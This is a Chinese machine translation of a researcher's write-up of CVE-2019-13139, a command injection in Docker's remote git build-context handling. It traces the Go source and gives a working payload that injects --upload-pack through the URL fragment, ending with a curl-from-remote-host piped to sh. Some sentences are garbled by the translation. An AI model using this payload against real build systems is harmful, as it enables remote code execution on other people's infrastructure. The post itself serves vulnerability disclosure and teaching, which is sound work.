在今年早些时候,我在2019年的部队进行了一些研究,其中我检查了构建系统以及git如何导致安全问题,我在Docker中发现了一个与git相关的漏洞。此漏洞已被分配为CVE-2019-13139,并在Docker引擎更新18.09.4中进行了修补。问题是相对直接的命令注入,然而,它可能使它更有趣的是它发生在Go代码库中。通常假设Go os/exec包没有遭受命
在今年早些时候,我在2019年的部队进行了一些研究,其中我检查了构建系统以及git如何导致安全问题,我在Docker中发现了一个与git相关的漏洞。此漏洞已被分配为CVE-2019-13139,并在Docker引擎更新18.09.4中进行了修补。
问题是相对直接的命令注入,然而,它可能使它更有趣的是它发生在Go代码库中。通常假设Go os/exec
包没有遭受命令注入,这很大程度上是正确的,但就像其他“安全”命令执行API(如Python的子进程)一样,有边缘情况 - 看似安全的代码仍然可以导致命令注射。
发现漏洞非常容易。作为我演讲的一部分,我想看看哪些流行工具依赖(或外包)git并且容易受到CVE-2018-11235的攻击。Docker构建提供了提供远程URL作为构建路径/上下文的选项,并且此远程可以是git存储库。在查看文档时我注意到的第一件事是
注意:如果URL参数包含片段,则系统将使用
git clone --recursive
命令以递归方式克隆存储库及其子模块。
这清楚地表明Docker很容易受到CVE-2018-11235的攻击,我在这里也证明了这一点:
你会建立我的hello-world docker容器吗? 只需使用: docker build http://139.59.42.102/git/hello-world.git pic.twitter.com/cMZmQitO2L - Etienne Stalmans(@_staaldraad),2018年9月13日
https://twitter.com/_staaldraad/status/1040315186081669120?s=20。
突出的第二件事是,有多个选项可用于提供远程git存储库的URL。并且可以提供要使用的分支和目录:
$ docker build https://Github.com/docker/rootfs.git#container:docker $ docker build git@github.com:docker/rootfs.git#container:docker $ docker build git://github.com/docker/rootfs.git#container:docker
在此示例中,所有URL都引用GitHub上的远程存储库,并使用容器分支和docker目录作为构建上下文。这让我想知道这个机制背后的代码,我看了一下源代码。
查看下面的代码,首先发生的事情是解析remoteURL并将其转换为gitRepo结构,然后提取fetch参数。以root身份创建临时目录,在此临时目录中创建新的git存储库,并设置存储库的远程。远程被“获取”,存储库被检出,最后子模块被初始化。
func Clone(remoteURL string) (string, error) { repo, err := parseRemoteURL(remoteURL) if err != nil { return "", err } return cloneGitRepo(repo) } func cloneGitRepo(repo gitRepo) (checkoutDir string, err error) { fetch := fetchArgs(repo.remote, repo.ref) root, err := ioutil.TempDir("", "docker-build-git") if err != nil { return "", err } defer func() { if err != nil { os.RemoveAll(root) } }() if out, err := gitWithinDir(root, "init"); err != nil { return "", errors.Wrapf(err, "failed to init repo at %s: %s", root, out) } // Add origin remote for compatibility with previous implementation that // used "git clone" and also to make sure local refs are created for branches if out, err := gitWithinDir(root, "remote", "add", "origin", repo.remote); err != nil { return "", errors.Wrapf(err, "failed add origin repo at %s: %s", repo.remote, out) } if output, err := gitWithinDir(root, fetch...); err != nil { return "", errors.Wrapf(err, "error fetching: %s", output) } checkoutDir, err = checkoutGit(root, repo.ref, repo.subdir) if err != nil { return "", err } cmd := exec.Command("git", "submodule", "update", "--init", "--recursive", "--depth=1") cmd.Dir = root output, err := cmd.CombinedOutput() if err != nil { return "", errors.Wrapf(err, "error initializing submodules: %s", output) } return checkoutDir, nil }
此时没有明显的问题。这些git
命令都是通过该gitWithinDir
功能执行的。看看这个,事情开始变得更有趣了:
func gitWithinDir(dir string, args ...string) ([]byte, error) { a := []string{"--work-tree", dir, "--git-dir", filepath.Join(dir, ".git")} return git(append(a, args...)...) } func git(args ...string) ([]byte, error) { return exec.Command("git", args...).CombinedOutput() }
该exec.Command()
函数采用硬编码的“二进制”,"git"
作为第一个参数,其余参数可以是零个或多个字符串。这不会直接导致命令执行,因为参数都是“转义”的,并且shell注入在os / exec包中不起作用。
没有受到保护的是正在执行的命令中的命令注入exec.Command()
。如果传递给git
二进制文件的一个或多个参数在git中用作子命令,则可能仍然存在命令执行的可能性。这正是@joernchen在CVE-2018-17456中利用的地方,他在Git子模块中通过注入一个路径获得命令执行-u./Payload
,其中-u
告诉git
哪个二进制文件用于upload-pack
命令。如果可以将类似的有效负载传递给Docker构建命令,则可能只能执行命令。
回到解析Docker源代码,在查看parseRemoteURL
函数时可以看出提供的URL是根据URI分割的
func parseRemoteURL(remoteURL string) (gitRepo, error) { repo := gitRepo{} if !isGitTransport(remoteURL) { remoteURL = "https://" + remoteURL } var fragment string if strings.HasPrefix(remoteURL, "git@") { // git@.. is not an URL, so cannot be parsed as URL parts := strings.SplitN(remoteURL, "#", 2) repo.remote = parts[0] if len(parts) == 2 { fragment = parts[1] } repo.ref, repo.subdir = getRefAndSubdir(fragment) } else { u, err := url.Parse(remoteURL) if err != nil { return repo, err } repo.ref, repo.subdir = getRefAndSubdir(u.Fragment) u.Fragment = "" repo.remote = u.String() } return repo, nil } func getRefAndSubdir(fragment string) (ref string, subdir string) { refAndDir := strings.SplitN(fragment, ":", 2) ref = "master" if len(refAndDir[0]) != 0 { ref = refAndDir[0] } if len(refAndDir) > 1 && len(refAndDir[1]) != 0 { subdir = refAndDir[1] } return }
而repo.ref
和repo.subdir
很容易被我们控制。该getRefAndSubdir
函数使用:
作为分隔符将提供的字符串拆分为两部分。然后将这些值传递给fetchArgs
函数;
func fetchArgs(remoteURL string, ref string) []string { args := []string{"fetch"} if supportsShallowClone(remoteURL) { args = append(args, "--depth", "1") } return append(args, "origin", ref) }
你能发现这个问题吗?该ref
字符串将附加到fetch命令的args列表中,而不进行任何验证以确保它是有效的refspec。这意味着如果一个ref
诸如-u./payload
可供给它随后将被传递到git fetch
命令作为参数。
最后git fetch
通过执行命令
if output, err := gitWithinDir(root, fetch...); err != nil { return "", errors.Wrapf(err, "error fetching: %s", output) }
从上面可知,ref
需要用于注入最终git fetch
命令。将ref
来自#container:docker
用于提供分支和文件夹使用的泊坞上下文字符串。由于使用的strings.splitN()
函数分裂在和:
之间的任何东西将被用作。另一个好消息是,因为os / exec包将每个字符串视为要传递的参数,如果提供的字符串包含空格,则将其视为引用它。因此将导致执行最终命令。不是很有帮助,但是在成为漏洞的一半。#:refexecv#echo 1:twogit fetch origin "echo 1"
下一部分是识别一个或多个在传入时被视为子命令的参数git fetch
。为此,需要检查git-fetch
文档:https://git-scm.com/docs/git-fetch。事实证明,有一个--upload-pack
理想的选择:
--upload-pack <upload-pack>
当给定,并且要获取的存储库由git fetch-pack处理时,--exec=<upload-pack>
将传递给命令以指定在另一端运行的命令的非默认路径。
唯一的缺点是它用于“在另一端运行命令”,因此在服务器端。当git URL为http://或https://时,也会忽略此项。幸运的是,Docker构建命令还允许在表单中提供git URL git@
。在git@
通常被视为用户使用git
通过SSH克隆,但前提是所提供的URL包含:
,更简洁:git@remote.server.name:owner/repo.git
。当:
不存在时,git将URL解析为本地路径。由于它是一个本地路径,所提供的--upload-pack
最终将被用作执行的二进制文件git fetch-pack
。
因此,所有星星都是对齐的,并且可以构造导致命令执行的URL。
docker build "git@g.com/a/b#--upload-pack=sleep 30;:"
这将导致执行以下步骤:
$ git init $ git remote add git@g.com/a/b $ git fetch origin "--upload-pack=sleep 30; git@g.com/a/b"
请注意,远程已附加到--upload-pack
命令中,因此;
需要使用分号()来关闭命令,否则git@g.com/a/b
将被解析为sleep
命令的第二个参数。如果没有分号,您可以看到“睡眠:无效时间间隔'git@gcom/a/b.git'”:
$ docker build "git@gcom/a/b.git#--upload-pack=sleep 5:" unable to prepare context: unable to 'git clone' to temporary context directory: error fetching: sleep: invalid time interval ‘git@gcom/a/b.git’ Try 'sleep --help' for more information.
这可以进一步采用并转换为正确的命令执行(在第二个中添加#
清除输出以便curl
命令不显示):
docker build "git@github.com/meh/meh#--upload-pack=curl -s sploit.conch.cloud/pew.sh|sh;#:"
命令执行
这可能是构建环境中的“远程”命令执行问题,攻击者可以控制发出的构建路径docker build
。通常的docker build . -t my-container
模式不容易受此影响,Docker的大多数用户不应受此问题的影响。
这是在2月份向Docker报告的,并且在3月底的18.09.4更新中部署了一个补丁。确保您的Docker引擎是最新的,如果可能,请避免使用远程上下文进行构建,尤其是在第三方提供的情况下。
翻译自https://staaldraad.github.io/post/2019-07-16-cve-2019-13139-docker-build/